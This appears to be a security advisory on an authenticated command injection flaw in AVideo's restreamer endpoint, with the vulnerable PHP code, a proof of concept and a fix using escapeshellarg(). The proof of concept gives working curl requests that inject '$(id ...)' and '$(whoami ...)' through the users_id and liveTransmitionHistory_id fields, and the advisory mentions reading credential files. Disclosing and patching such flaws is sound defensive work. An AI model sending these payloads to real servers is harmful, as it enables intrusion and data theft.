| Package | Affected versions | Patched versions |
|---|---|---|
| wwbn/avideo | ≤ 26.0 | |
| avideo | ≤ 26.0 |
The restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks.
The vulnerability exists in plugin/Live/standAloneFiles/restreamer.json.php. The data flow is:
1. User input ingestion (line 220):
$request = file_get_contents("php://input");
$robj = json_decode($request);
2. Log file template (line 58):
$logFile = $logFileLocation . "ffmpeg_restreamer_{users_id}_" . date("Y-m-d-h-i-s") . ".log";
3. users_id injected without sanitization (line 318):
$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);
4. liveTransmitionHistory_id injected without sanitization (line 407):
$pid[] = startRestream($m3u8, [$value], str_replace(".log", "_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log", $logFile), $robj);
Note: intval() is applied to liveTransmitionHistory_id in the separate getProcess() function (line 805), but NOT in the runRestream() path that constructs the log file.
5. Unsanitized log file path passed to exec() (lines 720, 723):
// Line 720 (remote ffmpeg path):
execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);
// Line 723 (direct execution fallback):
exec($command . ' > ' . $logFile . ' 2>&1 &');
The code sanitizes stream URLs via clearCommandURL() and uses escapeshellarg() for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.
Prerequisites: A valid AVideo account with live streaming permissions and a valid restream token.
Step 1: Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeStep 2: Send a crafted restream request with shell metacharacters in users_id:
curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
-H "Content-Type: application/json" \
-d '{
"token": "VALID_TOKEN",
"m3u8": "https://example.com/stream.m3u8",
"restreamsDestinations": ["rtmp://example.com/live/key"],
"restreamsToken": ["VALID_TOKEN"],
"users_id": "x$(id > /tmp/pwned)x",
"liveTransmitionHistory_id": "1"
}'
Step 3: The resulting exec call becomes:
ffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &
The $() subshell executes id > /tmp/pwned before the redirection is processed.
Step 4: Verify command execution:
curl -k "https://TARGET/tmp/pwned"
# Expected: output of `id` command showing the web server user
The same vector works through liveTransmitionHistory_id:
curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
-H "Content-Type: application/json" \
-d '{
"token": "VALID_TOKEN",
"m3u8": "https://example.com/stream.m3u8",
"restreamsDestinations": ["rtmp://example.com/live/key"],
"restreamsToken": ["VALID_TOKEN"],
"users_id": "1",
"liveTransmitionHistory_id": "1$(whoami > /tmp/pwned2)1"
}'
An authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:
/etc/passwd, database credentials, .env files)The authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.
Sanitize both users_id and liveTransmitionHistory_id immediately after input, and use escapeshellarg() on the log file path before shell execution.
In restreamer.json.php, after line 220 (input decoding), add input sanitization:
$robj = json_decode($request);
// Sanitize fields that will be used in file paths and shell commands
if (isset($robj->users_id)) {
$robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id);
}
if (isset($robj->liveTransmitionHistory_id)) {
$robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id);
}
At lines 720 and 723, use escapeshellarg() on the log file path:
// Line 720:
execFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);
// Line 723:
exec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');
Both fixes should be applied — input sanitization as defense-in-depth, and escapeshellarg() as the direct mitigation at the point of shell execution.